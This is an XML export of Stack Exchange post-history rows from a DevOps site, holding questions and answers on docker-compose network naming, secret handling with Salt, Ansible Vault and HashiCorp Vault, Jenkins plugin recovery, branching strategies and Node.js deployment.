  <row Id="20152" PostHistoryTypeId="3" PostId="6317" RevisionGUID="d32c946e-2491-49dd-aa2d-ab48a74508c2" CreationDate="2019-02-10T19:22:51.183" UserId="6726" Text="&lt;docker-compose&gt;&lt;environment-variables&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20153" PostHistoryTypeId="2" PostId="6318" RevisionGUID="4152c442-965c-4e32-b9ad-4bc6eec80d92" CreationDate="2019-02-10T20:51:19.917" UserId="6726" Text="I didn't find a way to directly control this, but I noticed that the folder containing the docker-compose.yml is used as prefix when creating the name for the docker network. My solution was to write a wrapper script for docker-compose which creates a new folder with the name of the stage&#xD;&#xA;&#xD;&#xA;    TARGET=/tmp/$STAGE_NAME&#xD;&#xA;    &#xD;&#xA;    mkdir -p $TARGET&#xD;&#xA;    &#xD;&#xA;    ln -sf $(pwd)/docker-compose.yml $TARGET/docker-compose.yml&#xD;&#xA;    &#xD;&#xA;    cd $TARGET&#xD;&#xA;    docker-compose &quot;$@&quot;&#xD;&#xA;    cd -" ContentLicense="CC BY-SA 4.0" />
  <row Id="20154" PostHistoryTypeId="2" PostId="6319" RevisionGUID="7796a538-d16f-46ec-900f-f0d143c71bba" CreationDate="2019-02-10T21:09:49.253" UserId="12339" Text="I want to setup an auto-scaling configuration but cannot think how I can securely get code from a private repo when I spin up new instances.&#xD;&#xA;&#xD;&#xA;I obviously don't want to put passwords in startup scripts, or store private keys somewhere that can be downloaded without a password.&#xD;&#xA;&#xD;&#xA;How can I achieve this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20155" PostHistoryTypeId="1" PostId="6319" RevisionGUID="7796a538-d16f-46ec-900f-f0d143c71bba" CreationDate="2019-02-10T21:09:49.253" UserId="12339" Text="Auto-scaling, how to securely get code from private repo" ContentLicense="CC BY-SA 4.0" />
  <row Id="20156" PostHistoryTypeId="3" PostId="6319" RevisionGUID="7796a538-d16f-46ec-900f-f0d143c71bba" CreationDate="2019-02-10T21:09:49.253" UserId="12339" Text="&lt;automation&gt;&lt;autoscaling&gt;&lt;repository&gt;&lt;http&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20157" PostHistoryTypeId="2" PostId="6320" RevisionGUID="01b971fa-eb47-44b0-b347-688967578225" CreationDate="2019-02-10T23:01:35.267" UserId="12340" Text="Option 1:&#xD;&#xA;You could place your private repo in the same VPC as the instance and then pull code from there. Just make sure the repo cannot be accessed from outside the VPC.&#xD;&#xA;&#xD;&#xA;Option 2:&#xD;&#xA;Ssh into the new instance and SCP the binary over.&#xD;&#xA;&#xD;&#xA;Option 3:&#xD;&#xA;Use docker and deploy a private container registry (e.g. Amazon ECR). Build the image on your machine / build server and then push it to the registry from where it is available to your instances to pull and execute." ContentLicense="CC BY-SA 4.0" />
  <row Id="20159" PostHistoryTypeId="4" PostId="6317" RevisionGUID="05601238-1cbe-4516-ba5b-b8f53806e374" CreationDate="2019-02-11T05:19:45.897" UserId="47" Comment="fixed typo" Text="docker-compose.yml - make network name configurable via environment variable" ContentLicense="CC BY-SA 4.0" />
  <row Id="20160" PostHistoryTypeId="2" PostId="6321" RevisionGUID="c71c9f8f-4507-48d5-8cd3-a6cc6a1118d1" CreationDate="2019-02-11T06:25:06.580" UserId="12343" Text="Another option is to use saltstack's product: salt&#xD;&#xA;&#xD;&#xA;This Configuration Management System (CMS) can protect sensitive data in three ways.&#xD;&#xA;&#xD;&#xA;1) Pillars; these are securely stored and encrypted key:value or key:list dictionaries stored on your primary computer(s) that you manage the entire cluster from.&#xD;&#xA;&#xD;&#xA;This will allow you to create salt scripts that can have that data inserted at time of running into the scripts (so not stored in the actual scripts).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;2) GPG cipher; this allows you to write in actual passwords and keys into scripts and have them encrypted into hashes as placeholders for when you store these scripts into a revision control system (github/gitlab/bitbucket).&#xD;&#xA;&#xD;&#xA;The GPG key used for encrypting/decrypting is stored on your primary computer (master) for managing the cluster.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;3) Salt-cloud; all of your salt scripts are stored in the `/srv/salt/` directory on the primary machine, however the credentials/keys for spinning up VMs in the cloud is stored in `/etc/salt/` directory.&#xD;&#xA;&#xD;&#xA;This allows you to store the work you share with other people on a project in github, but all the sensitive data salt needs to spin up more resources isnt even in the same directory to be recorded.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This will probably super simplify your devops related code as well if you end up using this product. I hope this helped!&#xD;&#xA;&#xD;&#xA;Alan J Cugler - Saltstack certified DevOps engineer.&#xD;&#xA;&#xD;&#xA;Resources:&#xD;&#xA;- [GPG Render](https://docs.saltstack.com/en/latest/ref/renderers/all/salt.renderers.gpg.html)&#xD;&#xA;- [salt-cloud](https://docs.saltstack.com/en/latest/topics/cloud/)&#xD;&#xA;- [pillars](https://docs.saltstack.com/en/latest/topics/pillar/#pillar-encryption)" ContentLicense="CC BY-SA 4.0" />
  <row Id="20161" PostHistoryTypeId="2" PostId="6322" RevisionGUID="cfe88ed9-397c-4c49-a470-cf87b1c87d90" CreationDate="2019-02-11T06:33:35.977" UserId="12343" Text="The 200 limit can be raised, however this is a grinding process that can take months. You work through customer support to get &quot;elevated&quot; as a client to more AWS privileges.&#xD;&#xA;&#xD;&#xA;Resources:&#xD;&#xA;- Worked under a company that specifically ran into this problem, took 8 months before that limit was lifted. " ContentLicense="CC BY-SA 4.0" />
  <row Id="20162" PostHistoryTypeId="5" PostId="3722" RevisionGUID="d36f18e5-7c00-4c35-ab0a-d01b10243a55" CreationDate="2019-02-11T07:38:46.523" UserDisplayName="user65" Comment="spelling corrections" Text="While using Ansible to manage some AWS based Windows machines, when connecting using the IP as destination, on some machines I'm getting an SSL Error &#xD;&#xA;&#xD;&#xA;&gt; credssp: HTTPSConnectionPool(host='18.217.233.26', port=5986): Max&#xD;&#xA;&gt; retries exceeded with url: /wsman (Caused by SSLError(SSLError(\&quot;bad&#xD;&#xA;&gt; handshake: SysCallError(-1, 'Unexpected EOF')\&quot;,),))&quot;, &quot;unreachable&quot;:&#xD;&#xA;&gt; true}&#xD;&#xA;&#xD;&#xA;In wireshark it looks like TCP RST is sent by server&#xD;&#xA;&#xD;&#xA;When connecting using hostname or FQDN the connection succeeds. &#xD;&#xA;&#xD;&#xA;I don't see any relevant log in the event logs on WSMan side.&#xD;&#xA;&#xD;&#xA;Anybody have any experience with setting up winrm for Ansible and can assist?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20163" PostHistoryTypeId="24" PostId="3722" RevisionGUID="d36f18e5-7c00-4c35-ab0a-d01b10243a55" CreationDate="2019-02-11T07:38:46.523" Comment="Proposed by 65 approved by 40, 707 edit id of 940" ContentLicense="CC BY-SA 4.0" />
  <row Id="20167" PostHistoryTypeId="2" PostId="6323" RevisionGUID="5b05f78a-4398-4343-a451-806be82c6808" CreationDate="2019-02-11T11:05:23.243" UserId="9166" Text="We are running Jenkins as a docker image in a kubernetes cluster. However it does not come up any more because of some plugin version incompatibility.&#xD;&#xA;How can we upgrade the plugins, or disable them to bring up Jenkins?&#xD;&#xA;&#xD;&#xA;Note that because Jenkins is not up, we cannot upgrade / disable plugins with the Jenkins UI.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20168" PostHistoryTypeId="1" PostId="6323" RevisionGUID="5b05f78a-4398-4343-a451-806be82c6808" CreationDate="2019-02-11T11:05:23.243" UserId="9166" Text="Jenkins is running as a docker image in a kubernetes cluster and won't come up due to plugin version incompatibility" ContentLicense="CC BY-SA 4.0" />
  <row Id="20169" PostHistoryTypeId="3" PostId="6323" RevisionGUID="5b05f78a-4398-4343-a451-806be82c6808" CreationDate="2019-02-11T11:05:23.243" UserId="9166" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;kubernetes&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20170" PostHistoryTypeId="5" PostId="6321" RevisionGUID="678559ae-b680-4f7c-a0d0-a3dd64d82229" CreationDate="2019-02-11T11:10:43.403" UserId="12225" Comment="removed unnecessary bits" Text="Another option is to use saltstack's product: salt&#xD;&#xA;&#xD;&#xA;This Configuration Management System (CMS) can protect sensitive data in three ways.&#xD;&#xA;&#xD;&#xA;1) Pillars; these are securely stored and encrypted key:value or key:list dictionaries stored on your primary computer(s) that you manage the entire cluster from.&#xD;&#xA;&#xD;&#xA;This will allow you to create salt scripts that can have that data inserted at time of running into the scripts (so not stored in the actual scripts).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;2) GPG cipher; this allows you to write in actual passwords and keys into scripts and have them encrypted into hashes as placeholders for when you store these scripts into a revision control system (github/gitlab/bitbucket).&#xD;&#xA;&#xD;&#xA;The GPG key used for encrypting/decrypting is stored on your primary computer (master) for managing the cluster.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;3) Salt-cloud; all of your salt scripts are stored in the `/srv/salt/` directory on the primary machine, however the credentials/keys for spinning up VMs in the cloud is stored in `/etc/salt/` directory.&#xD;&#xA;&#xD;&#xA;This allows you to store the work you share with other people on a project in github, but all the sensitive data salt needs to spin up more resources isnt even in the same directory to be recorded.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This will probably super simplify your devops related code as well if you end up using this product.&#xD;&#xA;&#xD;&#xA;Resources:&#xD;&#xA;- [GPG Render](https://docs.saltstack.com/en/latest/ref/renderers/all/salt.renderers.gpg.html)&#xD;&#xA;- [salt-cloud](https://docs.saltstack.com/en/latest/topics/cloud/)&#xD;&#xA;- [pillars](https://docs.saltstack.com/en/latest/topics/pillar/#pillar-encryption)" ContentLicense="CC BY-SA 4.0" />
  <row Id="20171" PostHistoryTypeId="24" PostId="6321" RevisionGUID="678559ae-b680-4f7c-a0d0-a3dd64d82229" CreationDate="2019-02-11T11:10:43.403" Comment="Proposed by 12225 approved by 707, 40 edit id of 942" ContentLicense="CC BY-SA 4.0" />
  <row Id="20172" PostHistoryTypeId="2" PostId="6324" RevisionGUID="097a1696-30c2-4ce9-8959-675042706016" CreationDate="2019-02-11T11:27:06.973" UserId="12350" Text="Was the same problem, to achieve the desired result i created two jobs: PR Trigger (Freestyle Project) and PR Builder (Pipeline).&#xD;&#xA;&#xD;&#xA;To PR Trigger i added Git plugin, Stash Pull Request Builder Plugin (same configuration didn't work for pipeline) and Parameterized Trigger Plugin (to pass pull request id to PR Builder pipeline).&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;To PR Builder i added Parameterized Builds Plugin.&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/a1Gf0.jpg&#xD;&#xA;  [2]: https://i.stack.imgur.com/y2BwE.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="20173" PostHistoryTypeId="5" PostId="6324" RevisionGUID="8ef18da4-859c-43f4-81a3-5f39860b6d3d" CreationDate="2019-02-11T12:17:42.957" UserId="12350" Comment="added 31 characters in body" Text="Was the same problem, to achieve the desired result i created two jobs: PR Trigger (Freestyle Project) and PR Builder (Pipeline).&#xD;&#xA;&#xD;&#xA;To PR Trigger i added Git plugin, Stash Pull Request Builder Plugin (same configuration didn't work for pipeline) and Parameterized Trigger Plugin (to pass pull request id to PR Builder pipeline; Project to Build - PR Builder).&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;To PR Builder i added Parameterized Builds Plugin.&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/a1Gf0.jpg&#xD;&#xA;  [2]: https://i.stack.imgur.com/y2BwE.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="20174" PostHistoryTypeId="2" PostId="6325" RevisionGUID="667bc665-17b2-420f-b75f-47b1f706d4ea" CreationDate="2019-02-11T13:10:19.120" UserId="12351" Text="I also had this problem show up.  I think it's related to SSH.  I was writing a custom sshd_config.  Vagrant login's were slow after the first converge and verify was taking forever.  Removing the sshd_config stuff from my cookbook fixed the verify and slow logins.&#xD;&#xA;&#xD;&#xA;Maybe it's not very helpful, but it's a place to start looking, anyway.  Short term, I hacked it together:&#xD;&#xA;&#xD;&#xA;    unless ENV['TEST_KITCHEN']&#xD;&#xA;      cookbook_file '/etc/ssh/sshd_config' do&#xD;&#xA;        source 'sshd_config'&#xD;&#xA;        mode '0644'&#xD;&#xA;        notifies :restart, 'service[sshd]', :delayed&#xD;&#xA;      end&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;Jye&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20176" PostHistoryTypeId="2" PostId="6326" RevisionGUID="93b20264-26ae-4911-8f82-1023aab6221f" CreationDate="2019-02-11T16:06:55.123" UserId="12305" Text="If you're going to go the infrastructure-as-code way, you're going to want to store that code in a repository. Having your infrastructure definition stored in a VCS (GitLab) has pretty much the same security implications as storing code in GitLab. Just make sure you don't store sensitive data or credentials in plain text, or at all if you can help it. In Ansible's case, that usually means using [Ansible Vault][1] to encrypt sensitive files. But that's by no means the only way.&#xD;&#xA;&#xD;&#xA;As for deploying, you can use [ansible-pull][2], which runs on the machine you want to set up:&#xD;&#xA;&#xD;&#xA;`ansible-pull -U &lt;repository&gt; [options] [&lt;playbook.yml&gt;]`&#xD;&#xA;&#xD;&#xA;It will get the Ansible config from the specified repository to local host, then executes the playbook you tell it to.&#xD;&#xA;&#xD;&#xA;That should meat your requirements, but it also means that the machine executing `ansible-pull` will have access to everything that is in that repository. Whether that is secure enough for your environment or not is up to you. You can split your Ansible config in several repositories, use different branches, revoke the machine's access after the initial pull, etc.&#xD;&#xA;&#xD;&#xA;In general, encrypt sensitive data in the repository (encryption on disk), make sure you pull over SSH or HTTPS (encryption in flight), and be mindful of who has access to the repository, even indirectly (access/user management), and you've gone a long way towards having a decently secure environment.&#xD;&#xA;&#xD;&#xA;Whether using CI to deploy Ansible is secure enough or not, that's debatable. One could argue that someone who gains (write) access to the Travis/GitLab account where you keep your Ansible playbooks already got access to your infrastructure since they can alter those playbooks, it's just a matter of time. On the other hand, code stored in repository is half the point of infrastructure-as-code. YMMV.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/user_guide/vault.html&#xD;&#xA;  [2]: https://docs.ansible.com/ansible/latest/cli/ansible-pull.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="20177" PostHistoryTypeId="2" PostId="6327" RevisionGUID="dc7bed13-a848-4b3f-bae1-2018eea914d6" CreationDate="2019-02-11T16:34:42.643" UserId="12305" Text="You can set up a proxy. A [reverse proxy][1] can be a good choice for this kind of setup. You would configure each machine to use the proxy as its apt/pip repository. The first time a package is requested the proxy downloads it from the internet and stores it, the next machine that requires it will get it from the proxy directly.&#xD;&#xA;&#xD;&#xA;One popular choice is Squid. Another one is Nginx, set up in a reverse proxy configuration.&#xD;&#xA;&#xD;&#xA;The advantage over mirroring entire repositories is that you'll only get the packages you need. The advantage over having Ansible copy the files is that it acts like the real proxy, dependencies and upgrades and all. But you'll  have to change apt and pip repository configurations. Or &quot;hijack&quot; those repository names through your local DNS.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Reverse_proxy" ContentLicense="CC BY-SA 4.0" />
  <row Id="20178" PostHistoryTypeId="50" PostId="5863" RevisionGUID="3d060080-d9cb-4ac9-888c-02cf007ad4a3" CreationDate="2019-02-11T17:03:05.607" UserId="-1" />
  <row Id="20180" PostHistoryTypeId="2" PostId="6328" RevisionGUID="739e06a1-dd93-4402-9c6d-58e67b99e5c9" CreationDate="2019-02-11T17:55:51.913" UserId="12305" Text="At this point using S3 inventory to monitor replication is the best solution for large buckets, and [the solution suggested by AWS][1] themselves. Since AWS don't report on the status directly, any other solution is likely to be both expensive and time consuming when that many objects are involved. It seems like you're on the right (and only?) track.&#xD;&#xA;&#xD;&#xA;An obvious idea would be to talk to AWS Support about it, ask them to add such a feature. But that's obvious.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/crr-status.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="20181" PostHistoryTypeId="2" PostId="6329" RevisionGUID="74a85aaf-f85f-42eb-9da8-62e1cb362109" CreationDate="2019-02-11T19:02:57.483" UserId="4115" Text="If you know what plugins are causing the issue, you can [use the Jenkins CLI](https://jenkins.io/doc/book/managing/plugins/#install-with-cli) to remove or downgrade those plugins.  For instance:&#xD;&#xA;&#xD;&#xA;    java -jar jenkins-cli.jar -s http://localhost:8080/ install-plugin SOURCE ... [-deploy] [-name VAL] [-restart]&#xD;&#xA;    &#xD;&#xA;    Installs a plugin either from a file, an URL, or from update center.&#xD;&#xA;    &#xD;&#xA;     SOURCE    : If this points to a local file, that file will be installed. If&#xD;&#xA;                 this is an URL, Jenkins downloads the URL and installs that as a&#xD;&#xA;                 plugin.Otherwise the name is assumed to be the short name of the&#xD;&#xA;                 plugin in the existing update center (like &quot;findbugs&quot;),and the&#xD;&#xA;                 plugin will be installed from the update center.&#xD;&#xA;     -deploy   : Deploy plugins right away without postponing them until the reboot.&#xD;&#xA;     -name VAL : If specified, the plugin will be installed as this short name&#xD;&#xA;                 (whereas normally the name is inferred from the source name&#xD;&#xA;                 automatically).&#xD;&#xA;     -restart  : Restart Jenkins upon successful installation.&#xD;&#xA;&#xD;&#xA;I believe you can also just drop an .hpi file into a plugins directory in your Jenkins installation, but I've never needed to resort to this solution before, so I can't say how well it works." ContentLicense="CC BY-SA 4.0" />
  <row Id="20182" PostHistoryTypeId="50" PostId="5887" RevisionGUID="cd179a9d-da38-4d87-8f7e-8c4ff1d70844" CreationDate="2019-02-11T23:03:00.613" UserId="-1" />
  <row Id="20183" PostHistoryTypeId="50" PostId="5943" RevisionGUID="e0c512d9-f86b-4ff8-a33d-3a6f8fd1b146" CreationDate="2019-02-12T00:02:05.413" UserId="-1" />
  <row Id="20184" PostHistoryTypeId="2" PostId="6330" RevisionGUID="42aaa632-6abe-440c-b5dc-45954e83e40a" CreationDate="2019-02-12T04:36:14.010" UserId="8251" Text="If the repo is on AWS Codecommit, you should be able to access it via a role setup for each type of instance.&#xA;&#xA;See under IAM role here https://docs.aws.amazon.com/codecommit/latest/userguide/auth-and-access-control.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="20185" PostHistoryTypeId="2" PostId="6331" RevisionGUID="9f15e8b5-0464-4f9b-8ee6-aec197040c79" CreationDate="2019-02-12T04:51:37.887" UserId="12015" Text="We are using SVN as our version control system and we are using the below standard layout for our projects.&#xD;&#xA;&#xD;&#xA;    Tags&#xD;&#xA;    Branches&#xD;&#xA;    Trunk&#xD;&#xA;&#xD;&#xA;Trunk:&#xD;&#xA;    -&gt; Trunk will always hold the latest code changes.&#xD;&#xA;	&#xD;&#xA;Branches:&#xD;&#xA;    -&gt; When a release is planned a new branch will be created from the trunk and worked upon. Once the same is released it will be tagged.&#xD;&#xA;&#xD;&#xA;Tags:&#xD;&#xA;    -&gt; Now after the release if we notice any issues in the delivered application then we create a new branch from the tags and then it is worked upon. Finally, the changes made will be merged into the trunk. Or sometimes we make the fix on trunk first and then backport it.&#xD;&#xA;&#xD;&#xA;Is this the standard approach? or is there any recommended best practice?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20186" PostHistoryTypeId="1" PostId="6331" RevisionGUID="9f15e8b5-0464-4f9b-8ee6-aec197040c79" CreationDate="2019-02-12T04:51:37.887" UserId="12015" Text="Recommended SVN branching strategy for DevOps" ContentLicense="CC BY-SA 4.0" />
  <row Id="20187" PostHistoryTypeId="3" PostId="6331" RevisionGUID="9f15e8b5-0464-4f9b-8ee6-aec197040c79" CreationDate="2019-02-12T04:51:37.887" UserId="12015" Text="&lt;branch&gt;&lt;subversion&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20191" PostHistoryTypeId="2" PostId="6334" RevisionGUID="4a0acbbd-7a3e-4f1e-905b-a81c13acba72" CreationDate="2019-02-12T05:44:08.633" UserId="12368" Text="There is a switch -p in docker-compose which allow you to set this prefix to a custom value." ContentLicense="CC BY-SA 4.0" />
  <row Id="20195" PostHistoryTypeId="2" PostId="6336" RevisionGUID="359842eb-9252-4f38-a5f8-395d59c393d7" CreationDate="2019-02-12T08:19:00.013" UserId="10690" Text="We use Git for our VCS. We follow Trunk based development strategy.&#xD;&#xA;Trunk-Based Development (TBD) is where all developers (for a particular deployable unit) commit to one shared branch under source-control. That branch is going to be colloquially known as trunk, perhaps even named “trunk”. &#xD;&#xA; lie of omission&#xD;&#xA; &#xD;&#xA; This trunk is always stable, but it can have unfinished features covered by feature toggles. This type of development works &#xD;&#xA;&#xD;&#xA; - When you are just starting up &#xD;&#xA; - When you are iterating quickly&#xD;&#xA;&#xD;&#xA;In short, feature branches will give you better isolation, but require you to deal with the pain of deferred integration, and merges. Toggles give you continuous integration, but require you to design/implement your code in such a way that supports toggles, and introduce the risk that unfinished feature code could negatively affect production.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20199" PostHistoryTypeId="2" PostId="6337" RevisionGUID="f8017859-12f8-456a-bd31-cc4c9c1aa8c1" CreationDate="2019-02-12T09:41:44.657" UserId="10357" Text="I wanted to know standard process to deploy nodejs app on production. As of now I am following the process as below&#xD;&#xA;&#xD;&#xA;Pull the source code&#xD;&#xA;&#xD;&#xA;    git pull git_url&#xD;&#xA;Install npm dependencies&#xD;&#xA;&#xD;&#xA;    npm install &#xD;&#xA;Build the code&#xD;&#xA;&#xD;&#xA;    npm run build&#xD;&#xA;run the application&#xD;&#xA;&#xD;&#xA;    nohup node server/index.js &amp;&#xD;&#xA;But I am thinking of pulling source code to prod is the totally wrong way. Please, someone, guide me the exact way to deploy node app on the production server. Also, any other way to run the app continuously as service. I am aware with pm2 module to run a process in the backend. If there is any other way to manage it properly." ContentLicense="CC BY-SA 4.0" />
  <row Id="20200" PostHistoryTypeId="1" PostId="6337" RevisionGUID="f8017859-12f8-456a-bd31-cc4c9c1aa8c1" CreationDate="2019-02-12T09:41:44.657" UserId="10357" Text="node js deployment on production server" ContentLicense="CC BY-SA 4.0" />
  <row Id="20201" PostHistoryTypeId="3" PostId="6337" RevisionGUID="f8017859-12f8-456a-bd31-cc4c9c1aa8c1" CreationDate="2019-02-12T09:41:44.657" UserId="10357" Text="&lt;github&gt;&lt;cicd&gt;&lt;node.js&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20204" PostHistoryTypeId="2" PostId="6338" RevisionGUID="cd002889-06ca-4afe-94bd-ca6c5a7f7ae2" CreationDate="2019-02-12T10:38:18.860" UserId="11179" Text="This is a vocabulary question. I know the concept of _reproducible build_ as the guarantee we can build software from the sources on a different host or at a different time, but producing an end-product identical at the byte level each time.&#xD;&#xA;&#xD;&#xA;But  I'm not quite sure if we can talk about (or if there is an equivalent to) &quot;reproducible builds&quot; when working with interpreted languages (PHP, JavaScript, Python, ...)&#xD;&#xA;&#xD;&#xA;Should I talk about &quot;reproducible build&quot; when it is just a matter of providing a well-controlled environment&lt;sup&gt;1&lt;/sup&gt;?&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&lt;sub&gt;&lt;sup&gt;1&lt;/sup&gt; throuh a virtual environement, a container, a VM or whatever elese&lt;/sub&gt; &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20205" PostHistoryTypeId="1" PostId="6338" RevisionGUID="cd002889-06ca-4afe-94bd-ca6c5a7f7ae2" CreationDate="2019-02-12T10:38:18.860" UserId="11179" Text="Can we talk about &quot;reproducible builds&quot; when working with interpreted languages?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20206" PostHistoryTypeId="3" PostId="6338" RevisionGUID="cd002889-06ca-4afe-94bd-ca6c5a7f7ae2" CreationDate="2019-02-12T10:38:18.860" UserId="11179" Text="&lt;vocbulary&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20207" PostHistoryTypeId="2" PostId="6339" RevisionGUID="6a89cf19-ba69-4087-acaa-aba5607200c3" CreationDate="2019-02-12T10:59:18.210" UserId="11179" Text="If you have [`envsubst`](https://www.gnu.org/software/gettext/manual/html_node/envsubst-Invocation.html) installed (part or gnu `gettext`) you can use something like that:&#xD;&#xA;&#xD;&#xA;    export STAGE_NAME=&quot;xyz&quot;&#xD;&#xA;    export STAGE_NETWORK_PREFIX=&quot;1.2.3.4&quot;&#xD;&#xA;    docker-compose -f &lt;(envsubst docker-compose.yml) ...&#xD;&#xA;&#xD;&#xA;If your shell does not support process substitution, something like that would do the trick:&#xD;&#xA;&#xD;&#xA;    envsubst docker-compose.yml | docker-compose -f - ...&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20216" PostHistoryTypeId="6" PostId="6338" RevisionGUID="d26d33b3-6e5c-42b4-b1a5-864defdb1493" CreationDate="2019-02-12T13:14:36.160" UserId="47" Comment="edited tags" Text="&lt;terminology&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20217" PostHistoryTypeId="2" PostId="6342" RevisionGUID="7cc20917-e625-4d7c-ab5c-ce73ffd8d5d5" CreationDate="2019-02-12T13:33:28.500" UserId="707" Text="A &quot;build&quot; does not have though to be a compilation step.&#xD;&#xA;&#xD;&#xA;&quot;*.. the term build is similar to that of any other field. That is, the construction of something that has an observable and tangible result.*&quot;&#xD;&#xA;https://en.wikipedia.org/wiki/Software_build&#xD;&#xA;&#xD;&#xA;More important is though to be able to reuse results of your build in other contexts to *build* new things.&#xD;&#xA;&#xD;&#xA;Also in PHP and Javascript you could produce some packaged artefacts, be it a zip file or language specific archive linkable to a dependency manager: NPM in Javascript and Composer in PHP for example." ContentLicense="CC BY-SA 4.0" />
  <row Id="20222" PostHistoryTypeId="2" PostId="6344" RevisionGUID="02d4bff7-41f0-49b7-8717-6a33539ad947" CreationDate="2019-02-12T14:59:39.083" UserId="12382" Text="How can we pass HashiCorp Vault secrets, k/v username/password and feed Terraform while its creating Ec2 instance.&#xD;&#xA;&#xD;&#xA;For example, i don't want to use in plain text&#xD;&#xA;&#xD;&#xA;    variable &quot;myvariable&quot; {&#xD;&#xA;    default = &quot;mypassword&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Using token yea, but what resource should call Vault and ask for secrets which would be injected on creation time.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20223" PostHistoryTypeId="1" PostId="6344" RevisionGUID="02d4bff7-41f0-49b7-8717-6a33539ad947" CreationDate="2019-02-12T14:59:39.083" UserId="12382" Text="How to pass HashiCorp Vault secrets(k/v passwords) to Terraform EC2 instance" ContentLicense="CC BY-SA 4.0" />
  <row Id="20224" PostHistoryTypeId="3" PostId="6344" RevisionGUID="02d4bff7-41f0-49b7-8717-6a33539ad947" CreationDate="2019-02-12T14:59:39.083" UserId="12382" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;terraform&gt;&lt;hashicorp-vault&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20225" PostHistoryTypeId="5" PostId="6342" RevisionGUID="97cbffd3-2322-4157-858d-504375bf4531" CreationDate="2019-02-12T15:18:53.690" UserId="707" Comment="added 9 characters in body" Text="A &quot;build&quot; does not have though to be a compilation step.&#xD;&#xA;&#xD;&#xA;&quot;*.. the term build is similar to that of any other field. That is, the construction of something that has an observable and tangible result.*&quot;&#xD;&#xA;https://en.wikipedia.org/wiki/Software_build&#xD;&#xA;&#xD;&#xA;More important in this context is to be able to reuse results of your build in other contexts to *build* new things.&#xD;&#xA;&#xD;&#xA;That is, also in PHP and Javascript you could produce some packaged artefacts, be it a zip file or language specific archive linkable to a *dependency manager*: NPM in Javascript and Composer in PHP for example." ContentLicense="CC BY-SA 4.0" />
  <row Id="20226" PostHistoryTypeId="2" PostId="6345" RevisionGUID="65ae6b96-70a3-42e1-b34d-9c7f0642a03d" CreationDate="2019-02-12T16:50:06.953" UserId="47" Text="Just extending Peter's answer, in the context of a CI/CD pipeline. &#xD;&#xA;&#xD;&#xA;A build could simply be any sort of verification (static analysis, lint checking or any kind of code inspections, for example), maybe producing nothing more than just pass/fail results, configured to be executed in the CI/CD pipeline.&#xD;&#xA;&#xD;&#xA;The ability to perform such verification in a reliably reproducible manner - which is IMHO what would `reproducible build` translate to in this case - is critical for the very functionality and performance of that CI/CD pipeline." ContentLicense="CC BY-SA 4.0" />
  <row Id="20231" PostHistoryTypeId="6" PostId="4953" RevisionGUID="091682ef-4b73-445f-9a2d-a7ac94b1dd89" CreationDate="2019-02-12T17:43:25.173" UserId="707" Comment="edited tags; edited tags" Text="&lt;terminology&gt;&lt;culture&gt;&lt;term-disambiguation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20232" PostHistoryTypeId="6" PostId="1359" RevisionGUID="0436ff51-20cd-45c5-ac06-0478578ca624" CreationDate="2019-02-12T17:44:02.157" UserId="707" Comment="edited tags" Text="&lt;terminology&gt;&lt;term-disambiguation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20233" PostHistoryTypeId="6" PostId="6338" RevisionGUID="6e3edbee-1240-491f-8a32-06a392a8e104" CreationDate="2019-02-12T17:44:18.830" UserId="707" Comment="edited tags" Text="&lt;terminology&gt;&lt;term-disambiguation&gt;" ContentLicense="CC BY-SA 4.0" />
